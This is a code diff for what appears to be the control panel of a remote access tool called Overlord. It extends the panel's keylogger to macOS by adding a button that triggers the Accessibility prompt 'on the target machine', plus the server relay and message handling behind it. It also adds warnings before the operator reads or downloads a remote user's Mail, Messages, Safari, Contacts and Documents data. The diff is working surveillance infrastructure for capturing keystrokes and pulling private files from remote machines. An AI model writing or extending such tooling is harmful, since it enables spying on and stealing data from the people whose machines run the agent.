sessionStorage.setItem( + MAC_PERMISSION_STORAGE_KEY, + JSON.stringify(Array.from(macPermissionAllowedPaths)), + ); + } catch {} +} + +function normalizeMacPath(path) { + const raw = String(path || "").trim(); + if (!raw || raw === ".") return raw; + let normalized = raw.replace(/\\/g, "/"); + if (normalized === "~" && detectedHomePath) normalized = detectedHomePath; + if (normalized.startsWith("~/") && detectedHomePath) { + normalized = detectedHomePath + normalized.slice(1); + } + normalized = normalized.replace(/\/+/g, "/"); + if (normalized.length > 1) normalized = normalized.replace(/\/+$/, ""); + return normalized; +} + +function isSameOrChildPath(path, root) { + if (!path || !root) return false; + return path === root || path.startsWith(root + "/"); +} + +function markMacPermissionAllowed(path) { + const normalized = normalizeMacPath(path); + if (!normalized || normalized === ".") return; + const macStylePath = normalized.startsWith("/Users/") || + normalized === "/Volumes" || + normalized.startsWith("/Volumes/") || + normalized === "/Network" || + normalized.startsWith("/Network/"); + if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return; + macPermissionAllowedPaths.add(normalized); + persistMacPermissionAllowedPaths(); +} + +function hasMacPermissionAllowedAncestor(path) { + const normalized = normalizeMacPath(path); + for (const allowed of macPermissionAllowedPaths) { + if (isSameOrChildPath(normalized, allowed)) return true; + } + return false; +} + +function macPermissionRiskForPath(path) { + const normalized = normalizeMacPath(path); + if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) { + return null; + } + + const maybeMac = detectedOS === "mac" || (!detectedOS && normalized.startsWith("/Users/")); + if (!maybeMac) return null; + + let home = normalizeMacPath(detectedHomePath); + if (!home) { + const homeMatch = normalized.match(/^(\/Users\/[^/]+)/); + if (homeMatch) home = homeMatch[1]; + } + const protectedRoots = []; + if (home) { + for (const name of ["Desktop", "Documents", "Downloads", "Pictures", "Movies", "Music"]) { + protectedRoots.push({ root: `${home}/${name}`, label: name }); + } + protectedRoots.push( + { root: `${home}/Library/Mobile Documents`, label: "iCloud Drive" }, + { root: `${home}/Library/Mail`, label: "Mail data" }, + { root: `${home}/Library/Messages`, label: "Messages data" }, + { root: `${home}/Library/Safari`, label: "Safari data" }, + { root: `${home}/Library/Calendars`, label: "Calendar data" }, + { root: `${home}/Library/Application Support/AddressBook`, label: "Contacts data" }, + ); + } + protectedRoots.push( + { root: "/Volumes", label: "removable or network volume" }, + { root: "/Network", label: "network location" }, + ); + + const match = protectedRoots.find((item) => isSameOrChildPath(normalized, item.root)); + if (!match) return null; + const cachePath = match.root === "/Volumes" || match.root === "/Network" + ? normalized + : match.root; + return { ...match, path: normalized, cachePath }; +} + +function showMacPermissionWarning(risk, operation) { + return new Promise((resolve) => { + const modal = document.createElement("div"); + let onKeyDown = null; + let settled = false; + modal.className = "fixed inset-0 z-[2400] flex items-center justify-center bg-black/70 px-4"; + modal.innerHTML = ` +
+
+ +
macOS Permission May Appear
+
+
+

${escapeHtml(operation)} ${escapeHtml(risk.path)} may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.

+

Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.

+
+
+ + +
+
+ `; + const cleanup = (answer) => { + if (settled) return; + settled = true; + if (onKeyDown) document.removeEventListener("keydown", onKeyDown); + modal.remove(); + resolve(answer); + }; + modal.querySelector("[data-mac-permission-cancel]")?.addEventListener("click", () => cleanup(false)); + modal.querySelector("[data-mac-permission-continue]")?.addEventListener("click", () => cleanup(true)); + modal.addEventListener("click", (e) => { + if (e.target === modal) cleanup(false); + }); + onKeyDown = (e) => { + if (e.key !== "Escape") return; + cleanup(false); + }; + document.addEventListener("keydown", onKeyDown); + document.body.appendChild(modal); + modal.querySelector("[data-mac-permission-continue]")?.focus(); + }); +} + +async function confirmMacPermissionRisk(path, operation = "access") { + const risk = macPermissionRiskForPath(path); + if (!risk) return true; + const ok = await showMacPermissionWarning(risk, operation); + if (!ok) { + notifyToast("Operation cancelled before macOS permission prompt", "info", 2500); + return false; + } + markMacPermissionAllowed(risk.cachePath || risk.root || risk.path); + return true; +} + function goHome() { - pathHistory = []; - listFiles("."); + listFiles(".", ws, { resetHistory: true }); } function updateBreadcrumb(path) { @@ -371,6 +535,7 @@ const filePreviewModalManager = createFilePreviewModal({ clientId, notifyToast, onDownload: (path) => downloadFile(path), + beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation), }); let openFilePreview = filePreviewModalManager.openFilePreview; const transferPanelManager = createTransferPanel({ @@ -1111,6 +1276,7 @@ function handleFileList(msg) { clearPreviewPane(); } + markMacPermissionAllowed(currentPath); selectedFiles.clear(); updateSelectionUI(); renderCurrentDirectory(); @@ -1256,18 +1422,18 @@ function createFileRow(entry) { } }; - row.ondblclick = (e) => { + row.ondblclick = async (e) => { if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) { return; } if (entry.isDir) { listFiles(entry.path); } else if (isPreviewable(entry.name)) { - openFilePreview(entry.path, entry.size); + await openFilePreview(entry.path, entry.size); } else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) { - openHexViewer(entry.path); + await openHexViewer(entry.path); } else { - openFileInEditor(entry.path); + await openFileInEditor(entry.path); } }; @@ -1430,7 +1596,8 @@ function handleFileAction(action, entry) { } } -function downloadFile(path) { +async function downloadFile(path) { + if (!(await confirmMacPermissionRisk(path, "download file"))) return; console.log("Requesting download:", path); const transferId = `download-${Date.now()}-${Math.random()}`; const fileName = path.split(/[\/\\]/).pop(); @@ -1657,6 +1824,7 @@ function downloadFile(path) { total: transfer.total, streamedToDisk: usedStreamToDisk, }); + markMacPermissionAllowed(path); removeTransfer(transferId); fileDownloads.delete(path); updateStatus("connected", "Connected"); @@ -1873,13 +2041,15 @@ function handleFileDownload(msg) { URL.revokeObjectURL(url); console.log("Download complete:", msg.path, `${download.received} bytes`); + markMacPermissionAllowed(msg.path); removeTransfer(download.id); fileDownloads.delete(msg.path); updateStatus("connected", "Connected"); } } -function zipAndDownload(path) { +async function zipAndDownload(path) { + if (!(await confirmMacPermissionRisk(path, "read folder"))) return; console.log("Requesting zip:", path); const zipPath = path + ".zip"; @@ -2652,8 +2822,7 @@ homeBtn.onclick = () => goHome(); pathGoBtn.onclick = () => { const path = pathInput.value.trim(); if (path) { - pathHistory = []; - listFiles(path); + listFiles(path, ws, { resetHistory: true }); } }; @@ -2661,8 +2830,7 @@ pathInput.onkeydown = (e) => { if (e.key === "Enter") { const path = pathInput.value.trim(); if (path) { - pathHistory = []; - listFiles(path); + listFiles(path, ws, { resetHistory: true }); } } }; @@ -2793,6 +2961,7 @@ const fileHexHashManager = createFileHexHashManager({ send, notifyToast, getCurrentPreviewEntry: () => currentPreviewEntry, + beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation), }); const { handleFileHashResult, @@ -3201,12 +3370,12 @@ function handleFileSearchResult(msg) { `; - row.onclick = () => { + row.onclick = async () => { const resultName = result.path.split(/[\/\\]/).pop() || ""; if (isPreviewable(resultName)) { - openFilePreview(result.path); + await openFilePreview(result.path); } else { - openFileInEditor(result.path); + await openFileInEditor(result.path); } }; @@ -3214,7 +3383,8 @@ function handleFileSearchResult(msg) { }); } -function openFileInEditor(path) { +async function openFileInEditor(path) { + if (!(await confirmMacPermissionRisk(path, "read file"))) return; const cmdId = `file-read-${Date.now()}`; const msg = { type: "command", @@ -3259,6 +3429,8 @@ function handleFileReadResult(msg) { return; } + markMacPermissionAllowed(msg.path); + if (msg.isBinary) { notifyToast("Binary file — use Download to save it", "info", 3000); closeEditor(); diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js index b1d2197..3de17c7 100644 --- a/Overlord-Server/public/assets/keylogger.js +++ b/Overlord-Server/public/assets/keylogger.js @@ -10,6 +10,10 @@ if (!clientId) { const clientLabel = document.getElementById("clientLabel"); const statusPill = document.getElementById("status-pill"); const fileList = document.getElementById("file-list"); +const fileListPanel = document.getElementById("file-list-panel"); +const permissionGate = document.getElementById("permission-gate"); +const permissionStatus = document.getElementById("permission-status"); +const requestPermissionBtn = document.getElementById("requestPermissionBtn"); const refreshBtn = document.getElementById("refreshBtn"); const clearBtn = document.getElementById("clearBtn"); const logViewer = document.getElementById("log-viewer"); @@ -43,6 +47,8 @@ let searchMatches = []; let currentMatchIndex = -1; let globalSearchCache = new Map(); let globalSearchAbortController = null; +let clientOs = ""; // filled from the "ready" message +let needsPermissionGate = false; // true for darwin/mac clients clientLabel.textContent = clientId; @@ -61,7 +67,8 @@ function connect() { ws.onopen = () => { console.log("Keylogger connected"); updateStatus("pill-online", "Connected"); - requestFileList(); + // Do NOT request the file list here — wait for the "ready" message which + // carries clientOs so we know whether to show the macOS permission gate first. }; ws.onmessage = (event) => { @@ -91,12 +98,76 @@ function send(msg) { } } +function isMacOs(os) { + const s = String(os || "").toLowerCase(); + return s.includes("darwin") || s.includes("mac"); +} + +function showPermissionGate() { + permissionGate.classList.remove("hidden"); + fileListPanel.classList.add("hidden"); + permissionStatus.classList.add("hidden"); + requestPermissionBtn.disabled = false; + requestPermissionBtn.innerHTML = 'Request Accessibility Permission'; +} + +function showFileListPanel() { + permissionGate.classList.add("hidden"); + fileListPanel.classList.remove("hidden"); +} + +function setPermissionStatus(type, text) { + // type: "success" | "error" | "pending" + permissionStatus.classList.remove("hidden", "border-green-600", "bg-green-900/30", "text-green-300", + "border-red-600", "bg-red-900/30", "text-red-300", + "border-yellow-600", "bg-yellow-900/30", "text-yellow-300"); + if (type === "success") { + permissionStatus.classList.add("border-green-600", "bg-green-900/30", "text-green-300"); + } else if (type === "error") { + permissionStatus.classList.add("border-red-600", "bg-red-900/30", "text-red-300"); + } else { + permissionStatus.classList.add("border-yellow-600", "bg-yellow-900/30", "text-yellow-300"); + } + permissionStatus.textContent = text; +} + function handleMessage(msg) { console.log("Received:", msg.type); switch (msg.type) { case "ready": - console.log("Keylogger session ready"); + clientOs = msg.clientOs || ""; + needsPermissionGate = isMacOs(clientOs); + console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate); + if (needsPermissionGate) { + showPermissionGate(); + } else { + showFileListPanel(); + requestFileList(); + } + break; + case "keylog_permission_result": + requestPermissionBtn.disabled = false; + if (msg.granted) { + setPermissionStatus("success", "Permission granted — loading logs..."); + setTimeout(() => { + showFileListPanel(); + requestFileList(); + }, 800); + } else { + let reason; + if (msg.reason === "keylogger_disabled") { + reason = "The keylogger is not enabled in this agent build. " + + "macOS keylogger support requires CGO and must be compiled natively on macOS. " + + "Rebuild the agent on a macOS host with CGO enabled."; + } else if (msg.reason === "user_denied") { + reason = "Permission denied by the user on the target machine."; + } else { + reason = msg.reason || "Permission was not granted."; + } + setPermissionStatus("error", reason); + requestPermissionBtn.innerHTML = 'Try Again'; + } break; case "status": if (msg.status === "offline") { @@ -669,6 +740,13 @@ function openFileWithSearch(filename, query, targetIndex) { }, 500); } +requestPermissionBtn.addEventListener("click", () => { + requestPermissionBtn.disabled = true; + requestPermissionBtn.innerHTML = 'Requesting...'; + setPermissionStatus("pending", "Waiting for user response on the target machine..."); + send({ type: "keylog_request_permission" }); +}); + refreshBtn.addEventListener("click", () => { requestFileList(); window.showToast("Refreshing file list...", "info"); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 6eb66f7..bb4a50d 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -276,10 +276,11 @@ function applyMenuSupportRules(clientId) { setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline"); const keyloggerBtn = menu.querySelector('[data-open="keylogger"]'); + const keyloggerSupported = isWindows || platform === "mac"; setAvailability( keyloggerBtn, - isOnline && isWindows, - isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline", + isOnline && keyloggerSupported, + isOnline ? "Keylogger is not supported on this platform." : "Client is offline", ); const winreBtn = menu.querySelector('[data-open="winre"]'); diff --git a/Overlord-Server/public/keylogger.html b/Overlord-Server/public/keylogger.html index ca2c733..8d0a0af 100644 --- a/Overlord-Server/public/keylogger.html +++ b/Overlord-Server/public/keylogger.html @@ -65,8 +65,39 @@ + + +

diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 40645a6..8182db4 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -828,7 +828,7 @@ func runBoundFiles() { env.CGO_ENABLED = "0"; sendToStream({ type: "output", - text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support.\n", + text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n", level: "warn", }); } diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 4dd3403..7417cb8 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -726,6 +726,7 @@ export async function handleWebSocketMessage( case "keylog_file_content": case "keylog_clear_result": case "keylog_delete_result": + case "keylog_permission_result": deps.handleKeyloggerMessage(client.id, payload); break; case "script_result": { diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 49a0cc1..25a846f 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -447,7 +447,7 @@ export function handleKeyloggerViewerOpen(ws: ServerWebSocket) { sessionManager.addKeyloggerSession(session); ws.data.sessionId = sessionId; logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`); - safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientOs: target?.os || "" }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); } @@ -465,6 +465,12 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket, ra const commandId = uuidv4(); switch (payload.type) { + case "keylog_request_permission": + // Ask the agent to trigger the macOS accessibility permission prompt. + // On non-macOS agents this is a no-op that immediately returns granted. + target.ws.send(encodeMessage({ type: "command", commandType: "keylog_request_permission", id: commandId } as any)); + metrics.recordCommand("keylog_request_permission"); + break; case "keylog_list": target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any)); metrics.recordCommand("keylog_list"); diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index 737f0c3..8b69c91 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "keylog_file_content", "keylog_clear_result", "keylog_delete_result", + "keylog_permission_result", "voice_uplink", "desktop_audio_uplink", "webcam_devices",